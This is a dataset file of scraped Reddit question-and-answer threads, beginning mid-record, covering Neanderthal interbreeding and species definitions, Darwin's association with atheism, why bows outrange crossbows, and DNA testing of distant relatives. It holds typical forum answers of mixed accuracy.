[_URL_0_](_URL_0_)   (\" *Homo denisova* \") and likely several other subspecies which we don't know about (likely some in S. Africa, some in Indonesia etc...) really modern humans are all the same species and 'race' is a very nebulous concept and kinda pointless when you look at our ancestry.", "Having a few scraps of DNA from hybridization events is not uncommon and if we went around renaming every species with that names would get too complex and be less useful.\n\nEDIT: just to clarify this, humans have a few percent of DNA from crosses with related species that occurred tens of thousands of years ago.  While the detailed analysis hasn't been done on many other species, you can find evidence for this sort of hybridization, or substantially more hybridization, in many other species including pretty much every domestic animal, polar and grizzly bears, butterflies, chimps and bonobos, and many more.", "First of all, there is no pure 'Homo Sapien', in fact, there is no such thing as any pure DNA based organism. All living organisms are constantly evolving, meaning they change, mutate or otherwise adapt to their environment.\n\nEuropeans and Asians both share Neanderthal DNA, yet they look very different. The introduction of Neanderthal DNA was so long ago that modern Human DNA has largely wiped out most of its effects. We can classify ourselves based on appearance, but there's no reason to classify a human as different just based on who their ancient ancestors had sexy time with.", "I was taught the definition of separate species is the inability to produce viable offspring. So if we\u2019re a mix, wouldn\u2019t that mean we aren\u2019t even separate species?", "What exactly constitutes a different species is kind of arbitrary and it's causing problems with naming and classification.\n\nThere isn't a clear cut point between 'these two creatures are the same species and any differences between them are just minor variations' and 'These two creatures are different species because of these minor variations'", "In terms of taxonomy (the study of classification of life) something isn't a different species if interbreeding is still possible. Neanderthals were physically and culturally different but still bred with homo sapiens to produce offspring that could themselves pass on their traits.\n\nWe named them before we knew what the path was that led to Neanderthals was. When I was in grade school we were taught that homo sapiens descended from Neanderthals (thus we still would have had Neanderthal DNA). It was a big deal when we learned that we lived side by side with them and even interbred with them.\n\nI'm culturally different from the French and I am physically shorter and weaker that my neighbor but we're still the same species.", "Categorizing species is subjective as there aren't definitive lines between species throughout evolutionary time. Every child has always been the exact same species as it's parents but due to insanely minute changes eventually after thousands of generations we'll notice enough of a change to decide to name something differently. It's the same way we decide when to call something that is teal, more green vs more blue. When there is a spectrum its a failure of language as the only way to be entirely thorough is to break up species into infinitely more unique descriptions until the whole point of naming species becomes irrelevant. The only solution is to understand how messy categorizing species is, and why.", "Are there distinctive traits the Neanderthals could have passed to us? That we're aware about, of course.", "This may be the right place to ask,\n\nSome people have more neanderthal DNA, some people have less.\n\nDoes anyone have a copy of every Neanderthal gene in the wild? Do we have a rough idea of how many total genes there are out there  &  what does Mr. 1,000 out of 1,000 look like?", "It's also worth keeping in mind that there are modern humans with no Neanderthal DNA in sub-Saharan Africa. You really wanna go opening that can of worms and making Africans a different species to Eurasians?", "Not all modern human populations hybridized with Neanderthals. Also, there are multiple other archaic hominin species we have apparently introgressed with and the total DNA from these encounters is below 10% - typically much less. So it's really a question of the proportion and the number of different hominins present. Given these complexities it's far from clear what your proposal is.", "Don't forget Denisovans and (probably) a yet-undiscovered third hominid species.\n\nHere's the thing. The concept of subspecies is falling out of favor in biology. Some scientists think it's little more than a classification error, and you will increasingly see designations like Homo neanderthalensis, as in a species, not a subspecies. If you insist neanderthals are H sapiens neanderthalensis, then you have to explain the chain that went H erectus - >  ???? - >  H sapiens neanderthalensis. Where did the sapiens enter the picture, since the Neandethals were present in Eurasia long before H sapiens migrated out of Africa?\n\nOur current Linnean system for biological classification was created before we even knew about genes, and there are quite a number of inconsistencies and embarrassments in it. \n\nH sapiens *clearly* crossbred with Neandethals, Denisovans, and maybe others, and that calls the definition of species into question. Basically, the whole system needs to be torn down and rebuilt, but that's no trivial task, and is probably waiting for the Newton of classification to show up.", "Additionally, not all modern humans have Neanderthal ancestry.  There were a few subspecies of H. sapiens in Europe and Asia that were interbreeding, and some people never encountered any of them and have no ancestry from those other subspecies. \n\nSometimes taxonomic categories are invented to describe significant but biologically inconsequential differences between otherwise very similar populations.", "No, because what do you do about the groups like Asians, who have Denisovan DNA? This is why scientists don't like discussing this topic. I think you are smart enough to see where it often leads.", "Kinda hard to convince people that race is just a concept. Wouldn't want to anger white people by calling them a subspecies. Whites have around 6% Neanderthal dna while asians have 1-3%. Blacks are so far the direct ancestors of homo sapians. Its interesting to note that recent discoveries have disproven the out of Africa theory. Which can mean that as a subspecies Neanderthal evolved separately.", "I mean technically people from subsaharan africa would be a completely different species then cause they've got no neanderthal DNA", "Among scientific reasons, don't forget the societal costs too. More specifically, racism being validated. When other cultures simply just aren't other people but come from a different species than you, they aren't equals. Isn't it better to just say we're sapiens and live equally?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Denisovan"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "8jrho2", "title": "charles darwin was an anglican, spent a lot of time studying theology, and in no way were his works an attack on the church. now days he is viewed as a symbol for atheism. why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8jrho2/eli5_charles_darwin_was_an_anglican_spent_a_lot/", "answers": {"a_id": ["dz1x9kq", "dz21dnq", "dz24ro2", "dz27cwy", "dz27kwp", "dz27n4q", "dz27z44", "dz28mdo", "dz28o98", "dz28s45", "dz28v41", "dz291ql", "dz29j0m", "dz29kyu", "dz2a95r", "dz2aaoz", "dz2abn1", "dz2ar22", "dz2b33p", "dz2b8da", "dz2c08i", "dz2c7v0", "dz2d2mb", "dz2dd2q", "dz2eatb", "dz2ej71", "dz2eo76", "dz2epbm", "dz2f50h", "dz2f9we", "dz2fdg9", "dz2g6k7", "dz2gz6m", "dz2lkn4"], "score": [64, 1516, 5, 92, 7, 215, 58, 31, 18, 2763, 58, 4, 11, 2, 94, 6, 19, 2, 3, 4, 3, 9, 2, 4, 2, 2, 2, 2, 3, 3, 2, 3, 2, 2], "text": ["Whenever humans can\u2019t explain something, they attribute it to God. Powerful and destructive bolts of light coming from above were thought to be coming from gods or God. Then when man learns more about meteorology, the supernatural origins are transformed into natural explanations. The complexity and beauty of animal and human life (and trees and flowers etc), without a mechanism to explain their development from simple life forms, makes the Biblical story that a brilliant artist/engineer creator God \u201cpoofed\u201d them into existence seem like a plausible explanation. Then when Darwin explained how they all naturally evolved from a simple life form, it begs the question: if we don\u2019t need God to explain thunder bolts, or animals, or us, does it make sense to make God part of our model at all? Is God up there? If so, what does He do? What has He done?\n\nIn summary, Darwin took a huge aspect of our daily lives\u2014life itself\u2014and showed how it could be explained without reference to a theistic myth.  This begs the question: if the creation of life was a theistic myth, are the same authorities that developed other stories about God just myths? Is the whole idea of God an ancient fable?", "If you look at churches today most of them accept evolution, theistic evolution or say that it is not in conflict with Christianity.\n\nIt is primary the evangelical protestantism that are common in part of the US that disagree with it. The are a loud voice in the US and they try to have political influence so they are noticed.\n\nThe Catholic church have had no definite stand on evolution but in 1950 Pope Pius XII confirmed that there is no intrinsic conflict between Christianity and the theory of evolution, provided that Christians believe that the individual soul is a direct creation by God and not the product of purely material forces.They support supports theistic evolution but it is not a required teaching. Gregor Mendel 1822-1884 the founder of the modern science of genetics that shows what evolution worked with was a catholic abbot.\n\nTheistic evolution is from the wiki article\n\n >  Francis Collins describes theistic evolution as the position that \"evolution is real, but that it was set in motion by God\",[3] and characterizes it as accepting \"that evolution occurred as biologists describe it, but under the direction of God\"\n\nSo god can have guided it or intervened  more or less. It is compatible with modern scientific understanding about biological evolution but in it sefe not a scientific theory as there is no way to demonstrate that it is false ore true.\n\n\n\n\nSo the idea that evolution is not compatible with Christianity is not true. But for obvious reason you will hear more for the groups that is against the scientific theory and what to change education the from the groups that accept it. People don't protest for the current state so you will not hear from then except for counter protest.\n\n\nThe strong disagreement with evolution is among Young Earth creationism ie a world created by god that is less then  10 000 year ago from a literal reading of the bible. Their belief in incompatible with evolution and a lot of other sciences like geology, cosmology to name a few.\n\nThey primary take a stand against evolution because it is easy to get people involved and care if they are created by god  and not evolved from common ancestor to the other great apes. To say that sedimentary rock formed in a global flod vs millions of years of sediment deposits is not a subject you get people engaged in.\n\nOld Earth creationism where you don't have a literal reading of the bible and a creating of 6 literal days. God can then have created and shaped thing over million or billions of years can exist in ways that are not incompatible with science. So if the bible is not literal true but part is  figurative or metaphorical description evolution is not a problem and is accepted with some theistic evolution modification.", "For a very long time, science and religion didn't usually bother each other much. Hardline Protestants tended to reject scientific explanations, mainly because the founders of Protestantism were very clear that if something is not in the Bible, it is not the Word of God.\n\nThey had good reason for that: they were confronted with a Catholic Church which was making stuff up as a way to exploit the poor. By inventing things like the sale of indulgences, they could scare people into giving the Church lots of money to finance the building of St Peter's in the Vatican. Martin Luther in particular was horrified by that.\n\nAnglicism, though, isn't strongly Protestant and really began as the Catholic Church but with the King of England at the top instead of the Pope. Catholics and Anglicans were more ready to accept as allegorical parts of the Bible that conflicted with observation and reason.\n\nDarwin's own views changed over his life. Originally he didn't doubt that everything in the Bible was true, but his scientific discoveries led him to question large parts of his faith. Near the end of his life, he said that he wasn't atheist, but probably agnostic.\n\nBut a certain branch of Protestantism, particularly the Evanglical type that grew up in America, began to reject everything that even appeared to conflict with the Bible, and in very violent terms.\n\nThe most fundamental battlefield of this argument is evolution, because it's such a simple argument to express. The Bible says God created everything including us; science says we evolved naturally. Fundamentalist Christians started attacking \"science\", and militant atheists started attacking \"religion\".\n\nOf all the people who worked in evolutionary biology, Darwin is the best known. He actually didn't do anything particularly remarkable: he built on the work of his predecessors (some of them his own ancestors) and laid the foundations for later scientists to continue. But everyone's heard of him, and so he has come to represent either the triumph of reason over superstition, or the rejection of God himself, depending on which side you take.\n\nAnd so poor Darwin, who was really interested in exploring God's creation and then later came to wonder whether there really was a God, is at the epicentre of a ridiculous shouting match. One side claims (with little evidence) that he came to reject religion entirely to become an atheist, while the other side claims (with no evidence at all) that he recanted on his deathbed.", "Question: I\u2019m currently studying in a Christian Baptist high school (don\u2019t ask why, and no, I\u2019m not a Christian), and in my biology class, my teacher said that evolution is just a bunch of bollocks and any evidence of evolution we did and now have are just fake and hoaxes. \n\nWhy are their thoughts like that? (US btw)", "I'd like to take all the doubters up the Andes mountains where Darwin was inspired, point at all the marine fossils and ask them how they thought they got to be there, a million miles from any sea.  Like any good geologist, Darwin's ideas were more common sense than science.", "Darwin was fully aware of the heresy in his \"evolution by natural selection\" theory.\nThis was complicated by his respect and love for his wife, which opposed the idea.\nThis is why he postponed the publication for 20 years, constantly refining the text, cautiously hedging against critique.\nBeing a devout hypochondriac and awaiting his imminent demise, he wanted it to be published after his death. \nThis was not to be as Alfred Russel Wallace was about to scoop him and he reluctantly published it. He was immediately attacked by church figures such as Samuel Wilberforce.\n\nEdit:typos", "Theists mainly look at Darwin as a symbol for atheism. I don't believe that atheists really tend to bring him up.\n\nScientists and academics have happily lauded him as a symbol of science and academia and stuff like that though.", "It's part of an effort to demonize Darwin and discredit him as a person. Their argument against him isn't based on science, it's based on fundamentalist religious tenets, which lends itself to good vs. evil rather than subtlety. His piety conflicts with their attempts to discredit Darwin, since it associates him with  positive traits, like him being a religiously faithful person. And they have to emphasize that evolution is incompatible with ANY religious feelings, from its very foundations. So they also accuse Darwin of all kinds of other bad things.", "The vast majority of Christians worldwide have no quarrel with Darwin's theory of evolution, and happily accept it. The only opposition is from a very vocal minority of Young Earth Creationists, who take every letter of the Bible literally to form a timeline that would make the Earth 10,000 years old.\n\nThat view is easily debunked by just looking at the original translation - the original Hebrew word to describe the seven \"days\" of creation could just as easily have referred to seven periods of many years, even millions or billions of years. A more accurate term would be seven *eras* of creation, which much more closely matches what we now know scientifically about the birth of the Universe.", "The other comments about religious backlash towards evolution are accurate, but I mean Darwin [did eventually become an agnostic, in large part *because* of his research that led to the theory of evolution.](_URL_0_)", "Darwin and evolution we're considered assaults on Christianity because of other unrelated stuff going on at the same time. A few different ancient languages and works were deciphered including the Epic of Gilgamesh, which has a flood story similar to the one in the Bible, but older than any copy of the Bible by far. Lord Kelvin estimated the age of the Earth at 20-100 million years. Egyptian heiroglyphs were only recently deciphered, and new works were being translated all the time. The first fragments of the legend of Sargon of Akkad's birth, which shares many elements with the Moses story from the Bible were translated. To top it all off, the second  great awakening was on the downswing. The upshot of all of this was that religion was starting to look less like an immutable eternally static thing and more like something that changes over time, and religious people were extremely resistant to that idea. Along comes old Chuck saying that humans themselves haven't always been humans but changed over time, and that was just too much. People started attacking evolution with religious fervor, and they passed that antipathy to their kids and their kids kids and so on until today, when it's still going on but the original reasons are all but forgotten.", "Darwin's conclusion that evolution was descent with modification eliminated the need for teleology in an explanation of the natural world. \n\nThe elimination of a \"purpose\" from the visioning of nature is chiefly why his work is associated with atheistic perspectives.", "Darwin is synonymous with evolution in the minds of young\\-earth creationists.  All of the data about how long things have been evolving contradicts a young earth model.  So the idea that chickens evolved from dinosaurs over millions of years contradicts their interpretation of the bible.  ", "Scientists can have complex understandings of the world because they week truth and truth is complex. Ideologues just seize upon a morsel that confirms their side ignoring the complexities that would derail their mission. This is how a scientist can integrate new information into his/her faith but the non-scientist atheists and theists may pick inaccurate sides.", "Darwin\u2019s ideas lead the way to us possibly answering some very BIG questions. Where did we come from? How did we get here? \n\nThese BIG questions were historically thought to be outside the realm of science and in the realm of the mystical or religious. Naturally the answers met some resistance (and still do) because of it. \n\nBut I think the reason it resonates so strongly with atheists is actually a bit different. When you really grasp the theory, it is so amazing and mind boggling that it is almost like a non-religious supernatural experience. And I don\u2019t mean supernatural as in \u2018outside nature\u2019, more like a hypernatural experience, \n\nJust focusing on something relatively small like the metamorphosis that a caterpillar goes through when it becomes a butterfly and how natural selection created *that* is breathtaking. And then combine this with an understanding of the underlying organic chemistry and the realization that the elements that make up it\u2019s composition came from reactions in stars, and they have been assembled through natural processes to become this biological transformer that can fly...\n\nIt is almost unfathomable to think of anything more amazing than this. All from the natural world.  Atheists see the theory of evolution as connecting some of the most difficult dots in this puzzle. Darwins theory connected us lifeforms with the natural world. All of us. When you have a naturalistic worldview, this is a grand slam. \n\nPersonally, I think the the theory of evolution is the biggest discovery thus far by humans. Period. I struggle to think of a bigger question than \u2018how did we get here\u2019 or \u2018where did we come from\u2019. These questions now have an answer that begins to make sense. And \u2018where are we going\u2019 is also something we might now be better informed about as well, since we know how we got here.\n\nPerhaps the only question that might be bigger is \u2018*why* are we here\u2019. I\u2019m not convinced that Darwin\u2019s theory doesn\u2019t help answer this as well. After all, *why* does the sun rise and *how* does the sun rise are really the same question. Why are we here? Because nature selected for us, that\u2019s why. Like round planets. Like aerodynamic birds. Like long necks on giraffes. Like thinking creatures. We have survived, that\u2019s why we are here.\n\nYeah but \u2018what is our *purpose*\u2019 you might ask. Maybe this is a bigger question that evolution can\u2019t answer. Well, what is the purpose of fast predators? What is the purpose of green lizards in the forest? What is the purpose of beautiful flowers? What is the purpose of thinking creatures like us? Because of the theory of evolution, we now have a better way of thinking about these questions as well.\n\n\n\n", "I think that the primary reason Christianity has a problem with evolution has to do with salvation. If all life is a continuum, then how is the soul of a person any different in reality from the soul of a monkey, or a mouse, or a tree? Did Christ come to save mosquitos too?  \n\nPut another way, what makes people so special that they all of a sudden they get immortal souls and Austalopithicus did not?  Or if Australopithicus had immortal souls, what about earlier species?  Finally gets back to one-celled beings.  Where did the magical, immortal soul suddenly start? And why there?  And if God decided to make evolving homo sapiens have immortal souls suddenly, which guy or gal was the first to get it and why?  Seems capricious.", "No one seems to be directly answering the question you actually asked, so I'll take a stab.\n\nThe reason Darwin is strongly correlated with atheism is because he took what might be the strongest evidence for a designer God (the almost perfect adaptation of all animals we observe to their environments) and gave it a naturalistic explanation in which no God is required. It's not so much that he was disproving the existence of a God/Gods, but that he greatly weakened the argument in support of one.\n\nHe himself became unconvinced that a God existed because of the presence of evil in the world (problem of evil.) The truth is that in modern terms, Darwin would be considered a weak atheist/agnostic atheist (as are the vast majority of atheists today) because he was not convinced that a God existed.\n\nEDIT: why the downvotes?", "Because if there was no Adam and Eve, there could not be first sin, which itself gives purpose to Jesus arrival. Evolution erases first people and puts there gradient of species. From fish to monkey to people. Christianity is obviously a lie and religion itself is bs.", "This isn't really accurate. I don't think many atheists consider Darwin to be a poster boy for atheism. Obviously he's important, but I think part of the emphasis on Darwin comes from religious groups that don't like what his work means for their beliefs. Because these groups are anti-science in nature, they try to prevent evolution being taught in schools. This is clearly a problem for the more scientifically accepting parts of the community (both atheists and theists), who then have to fight back. This leads to Darwin and his work being the focal point in the pro-science side of the debate.", "Quite an American-centric post. He's only viewed as a \"symbol of atheism\" in a place where evolution in particular is a focus if discussion.", "Unqualified scrub here:\n\nThe reason that evolution is deemed so anti-religion is because it so perfectly represents the conquering of reason/science over dogma/religion.\n\nEvolution is the most obvious and in-your-face example of this because intelligent design is so \u201cobviously true\u201d. In the absence of a scientific  worldview, it is perfectly reasonable to look at the amazing diversity of the planet and come to the  conclusion that it was designed. I mean, look how beautiful birds are... someone had to have put them there to be beautiful, right? And the way giraffes\u2019 necks are perfectly designed to  help them reach food at the top of the trees... someone had to engineer that solution, right? And boy, web you look at all of the tiny pieces that make eyeballs work... certainly feels like a complex piece of technology that someone put together very intricately. I mean, heck, how much fine tuning did it take to keep ecosystems of predator and prey balanced? Pretty clever!\n\nFor so many hundreds of years, people could disagree about which god(s) created the world... but nobody could deny that the world WAS created! Anyone could look around and come to the obvious conclusion that things were created with intent.\n\nUntil Darwin pointed out that things weren\u2019t. For the first time, something that seemed SOOOOO obvious and true to your eyes and gut logic was proven to work differently than all common sense said it should.\n\nSo... if we really study things, then the obvious and easy answer might end up false?\n\nThat single crack has potential to undo the whole web of lies. If I could be SO wrong about creation (which really seemed SO obvious and right) then why am I still accepting that that baby died as part of god\u2019s plan (which already feel dubious and weird in my gut)? Why am I believing any of it?\n\nNowadays, the evidence is so strong that the churches know they cannot outright deny it. So they come up with all of these dumb compromises hoping people won\u2019t notice the big thing... thinking can help you move past the easy answer and find the real answer.", "This is mostly a US based view, which has proliferated elsewhere via the internet.\n\nThe majority of Christian denominations accept that evolution is real. However, a vocal minority of American denominations read the Bible literally and therefore assert that the theory of evolution can not be true.\n\nThis vocal minority has therefore decided to paint Darwin as preaching a doctrine that is anti-Christian, or atheistic. In response to this, many atheists have risen to Darwin's defence, and claimed him as a figure for themselves (you may have seen [this parody](_URL_0_) of the Jesus Fish symbol).\n\nSimply put, some Christians believe Darwin's theory conflicts with their beliefs. While some atheists are happy to be pissing of those Christians by boosting Darwin.", "Because regardless of his personal beliefs, his theory of evolution still challenged and disproved many things the church was selling as facts. Thus leading people to more logic and reason. Atheist love that :) ", "I explained this to my wife the other day and she had no idea, so I will share.\n\nEvangelical protestants typically hold the bible as literal truth. It is not viewed as some sort of creation myth, it is held as complete fact. Basically if you measure out the time it takes for the events to unfold in the bible and factor in Christ\u2019s genealogy supposedly reaching all the way back to Abraham...the bible only accounts for 6,000 years or so since the beginning of the universe. There is no time for evolution to take place if the Bible is fact, therefore they think evolution didn\u2019t/doesn\u2019t happen. ", "The theory of evolution is only interpreted as an attack on the church by sects that view all aspects of the old testament as literal. ", "Atheism shouldn't be a word. Non believer works best for me. How can you not believe in something you don't think exists? ", "Because Charles Darwin started realizing oh shit the church is whack af and basically published a book saying religion is dumb and a social construct", "He is not a symbol for atheism afaik. He is a symbol for not letting religious doctrine interfere with science.", "Because science is looked at for faith.  Nothing worth having faith in is objective in the natural world.  Altruism, love and sacrafice cannot be explained by evolutionary principles.", "How has this post not broken rules 2 and 5? It\u2019s shocking to me that it hasn\u2019t be removed yet.\n\nThe mods must be asleep.", "Simply put; because creationism and evolution are in direct contradiction to each other.  \nYou either support science (fact) or relgion (faith).  It's really that simple.", "Because in the states, Creationists, a subset of fundamentalist christians (i use that term only in the strictest definition, ie. they believe in the strict, literal interpretation), hold several views like the earth is young from a geological stand point and god created all life as is, views that are directly contentious with modern scientific principles.\n\nSo, your ELI5 is because people equate atheism, and by extension, the research of Charles Darwin,  with rational thought in comparison to irrational creationism.\n\nDisclaimer: I am not Christian, just spiritual.", "Frequently when you're talking about basic science, one side is very literate and the other side has firmly chosen their world view and anything that goes against that view *must* be wrong by definition. They'll do mental gymnastics just to stay in their mental safe space because they either have far too much respect for authority or they aren't brave enough to take a good hard look in the mirror and question themselves instead of others.", "ELI5:\n\nSome people take everything word-for-word (literally).\n\nEvery religion has a word-for-word version (fundamentalism) that says the earth is only a few thousand years old and explains where all the plants and animals come from.\n\nDarwin found a simple, scientifically-validated way to explain where all the animals and plants come from.\n\nBecause fundamentalism and Darwinism can't both be true, people from communities with fundamentalism have to choose whether to follow their religion or to question it. Questioning religion leads to atheism for some (or atheist by comparison to their fundamental families and neighbours). \n\nTherefore, Darwin is a symbol of atheism. There are more nuanced notions of both evolution and religion, but let's save that for ELI25."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Charles_Darwin#Religious_views"], [], [], [], [], [], [], [], [], [], [], [], ["https://images-na.ssl-images-amazon.com/images/I/41Zml1z9EfL.jpg"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "950ry8", "title": "why do bows have a longer range than crossbows (considering crossbows have more force)?", "selftext": "EDIT: I failed to mention that I was more curious about the physics of the bow and draw. It's good to highlight the arrow/quarrel(bolt) difference though.\n\nPS. This is my first ELI5 post, you guys are all amazing. Thank you!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/950ry8/eli5_why_do_bows_have_a_longer_range_than/", "answers": {"a_id": ["e3p4efj", "e3p4gr3", "e3p5gt1", "e3paayc", "e3pbx6i", "e3pggdf", "e3plpjc", "e3pwcoj", "e3pxgx2", "e3pz8rj", "e3q8tb6"], "score": [1392, 7, 37, 5, 1898, 24, 5, 3, 2, 44, 6], "text": ["Crossbow bolts are thicker, heavier, and shorter, and crossbows have shorter strings, compared to arrows and bows. This makes them less aerodynamic and reduces the amount of maximum potential imparted by the weapon. \n\nThe weight of the bolt is probably the most important factor here. A common, modern crossbow bolt can be in the 500 grain area (about 31 grams), whereas a common, modern arrow is usually in the 300 grain area (about 19 grams). ", "Bolts are heavier so while their initial punch is greater, they lose more energy over distance than lighter arrows do.", "A crossbow is a mid-range weapon that uses a short, heavy bolt meant to punch through plate armor.\n\nA bow is a long-range weapon meant to be (among other things) fired in volleys at lightly armored infantry.", "Are you sure that they do? Where do you have that information from? I just looked into it, and it seems that there is not much different, neither in old, nor in modern equipment. If anything, then older crossbows were able to shoot further, due to heavier pull.\n\nSorry to say, but the other 3 comments are partially wrong. Heavier bolts shot at the same speed as arrows should go further.", "Crossbows have a big disadvantage due to having short limbs compared to a bow. This is true for all types of bow, but it has to be balanced with how unwieldy it would be to have a huge longbow or crossbow.\n\nThe biggest difference is the length of the power stroke. A fairly typical archer will have a draw length (the distance between the drawn string and the back of the bow) on their bow of about 27-31 inches, and a brace height (the distance between the undrawn string and the back of the bow) of about 6-8 inches. This gives you a power stroke of somewhere in the 19-25 inch range. Most crossbows have a power stroke somewhere in the 9-13 inch range. That dramatically reduces the amount of time the string is imparting force on the arrow. That's how you can have an arrow flying the same speed as a bolt despite having a much lower draw weight.\n\nThere's also a penalty in efficiency for having short limbs that affect crossbows. All bows have a draw force curve that shows how much force the string is imparting compared to how far it is drawn back. In a typical longbow, this curve is shaped like an upward facing banana. That means that when it is barely drawn, almost no force is imparted, and as you draw it farther the force increases more and more. The flatter the curve, the more efficient because the force on the arrow isn't dropping off as much during the power stroke. Having longer limbs gives you a flatter curve, which is why longbows are so long. So, the crossbow with its very short limbs has the force drop off very quickly, giving less speed for the same amount of force.\n\nFinally, since crossbows need to have a lot more initial force to make up for the inefficiencies we've already talked about, they have to have shorter, thicker, heavier bolts so the initial shock of the force doesn't destroy them. Heavy bolts also need more fletching to straighten their flight path. The short, thick bolts are much less aerodynamic than the longer, skinnier arrows. \n\n", "I assume youre comparing bows and crossbows with equal draw weights in which case your statement is true but an added benefit of crossbows is that you can use drawweights that are impossible with a traditional bow. A crossbow uses cocking aids to draw the string back to its firing position which if using a rope cocker gives a 2 to 1 mechanical advantage and then there are crank aids which make it possible to draw a crossbow string back with one hand. My Crossbow has a D.W of 260 lbs so while the bolt is heavier and shorter the added energy of a crossbow more than makes up for it. Here's some numbers on record distances _URL_0_", "Crossbows shoot bolts, bows shoot arrows. Bolts are much thicker and much shorter than arrows. Air resistance takes care of the rest.", "Crossbows have more range, higher velocity, heavier arrows, but less accuracy. You could shoot further but you will miss. Arrows are more stable than crossbow bolts due to their length and how they are carefully guided out of the bow.    \n     \nCrossbow bolts [390gn and 416gn](_URL_1_)    \n     \nCrossbow speeds [400fps](_URL_0_)    \n   ", "Also something to point out is the draw length of the bow. In order to accelerate the projectile to a similar velocity crossbow requires much more draw weight (so how stiff the arms of the crossbow are, how much weight it takes to pull the string, you know what I mean) than a bow would since if you look at it one almost always draws arrow further back, allowing it to accelerate for longer, as the string pushes on it,  making it fly out faster than a shorter bow of the same draw weight would produce", "Crossbows are inefficient at making the arrow actually fly fast.\n\nA 500-pound crossbow hits about as hard as 150-pound longbow.\n\nThis is largely because the crossbow is so short. Just like the short barrel of a carbine compared to the long barrel of a marksman's rifle, the weapon is pushing on the projectile for a shorter period of time.", "If you're asking about historical, military bows  &  crossbows, some of the responses you've gotten are misleading.\n\nNot all crossbows have shorter ranges than all bows. There are different kinds of bows and crossbows, for different purposes, like, do you need to be able to shoot and reload while on a horse? Or what year/technology are we talking about - crossbow reloading technology allowed crossbow draw weights to go up about 4x.\n\nFor bows, the kinds of arrows used in war are much more massive than the target arrows and hunting arrows people used to seeing today. Being much more massive, they won't fly as far. Likewise, the modern crossbow often just shoots arrows rather than bolts or quarrels, and shares many design elements of a bow, and is not that helpful in understanding the historical crossbow.\n\nAs to your question, why might a 1,000+ pound crossbow not have 5 times the effectiveness of a 200 pound bow?\n\nThe powerstroke:\n\nFirst of all, that draw weight number is merely a measure of the force needed to keep it pulled taught, at full extension, and doesn't tell you anything about how much kinetic energy will be in the bolt or arrow by the time it has left the crossbow or bow. More kinetic energy = shoots faster, further, and harder. Quite different than a modern crossbow, medieval crossbows get their string pulled back much less far than bows. As soon as the string is released, a bow or crossbow starts accelerating the arrow or bolt, but it can only do so for the distance that it was originally pulled back. This distance, over which the projectile is being accelerated, is the powerstroke. Powerstroke and force on the string work together to give the projectile kinetic energy.\n\nSo a bow with a much longer powerstroke than a crossbow, but a much lower draw weight, is still effective.\n\nThe non-ELI5 would use calculus to talk about each bit of (decreasing) force applied at each increment of the string getting closer to the original position, building up the kinetic energy and accelerating the projectile.\n\nThere are other factors, but they are less important than the powerstroke.\n\nTwo youtube channels I find to be reliable:\n\n[Tod's Stuff](_URL_1_) \\- mostly crossbows. He builds modern recreations of historical european crossbows and other stuff.\n\n[Scholagladtoria](_URL_0_) \\- historical combat, weapons, with some great videos on bows and crossbows."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.archerytalk.com/vb/showthread.php?t=1642040#/topics/1642040"], [], ["https://www.pse-archery.com/shop/bows/2018-pse-crossbows/pse-thrive-400-crossbow/", "https://www.feradyne.com/maxima-hunter-crossbolt/"], [], [], ["https://www.youtube.com/user/scholagladiatoria", "https://www.youtube.com/user/todsstuff1"]]}
{"q_id": "xucpi", "title": "At what point does the degree of separation between two relatives become too distant to chemically test if someone is related?", "selftext": "So a paternity test will determine whether the father/mother is the paternal father/mother of the offspring. I have traced my linage back to General Robert E Lee, and I was wondering what the largest degree of separation between two distant relatives is before a chemical test can no longer determine whether two people are related.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xucpi/at_what_point_does_the_degree_of_separation/", "answers": {"a_id": ["c5pold7"], "score": [3], "text": ["Hi there,\n\n\nOne thing to keep in mind is that DNA recombination is quite random. If you tell me how far back General Lee is (your __th great grandfather) I can give more specific information. But here is a good article about this -- _URL_2_ and here's the most relevant quote:\n\n\n\"there is a 99.6% chance that you will have DNA from all of your 16 great-great grandparents, only a 54% of sharing DNA with all 32 of your G-G-G grandparents, and a 0.01% chance for your 64 G-G-G-G grandparents. You only have to go back 5 generations for genealogical relatives to start dropping off your DNA tree.\"\n\n\nSo, if General Lee is a distant ancestor for you, there is a chance that you do not share any DNA with him.\n\n\nSo that link discussed sharing DNA with distant ancestors, but here's some information about sharing DNA with distant living cousins...\n\n\nThis link should help:\n_URL_1_\n\n\nWhat this chart says is that essentially 100% of first cousins share DNA that can be detected by an autosomal DNA test (meaning one that examines all chromosomes, not just the Y or just the mitochondrial DNA). 99% of second cousins share a detectable amount of DNA. ~90% of third cousins, people with a set of great-great grandparents in common, share DNA. \n\n\nYou can see that it starts to level off here. Only 45% of fourth cousin pairs and 15% of fifth cousin pairs share DNA.\n\n\nBasically there are several things that need to happen if you want to acquire DNA evidence that General Lee is your relative:\n\n\n1) You need to be sharing a piece of DNA with General Lee. The probability of this decreases as the ancestor gets more distant.\n\n\n2) The cousin you are comparing yourself against needs to also share DNA with General Lee.\n\n\n3) Now here's the kicker. You and your cousin have to share the SAME piece of DNA from General Lee. If you've got a segment from General Lee on chromosome 5 and your cousin's got a segment from him on chromosome 17, it's not going to work. The law of large numbers comes into play here...You might not find a DNA match from testing yourself and one other descendant of Lee. But if you can get many descendants tested you would have a better shot. Here is a related paper: _URL_0_\n\n\nHope that makes sense....I am typing on my phone so I apologize for anything that's unclear. Please let me know if you have questions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.davidkfaux.org/YoungAutosomalDNAStudy.pdf", "https://customercare.23andme.com/entries/21263528-i-know-that-a-particular-person-is-my-relative-what-s-the-probability-that-we-share-a-sufficient-amo", "http://www.genetic-inference.co.uk/blog/2009/11/how-many-ancestors-share-our-dna/"]]}
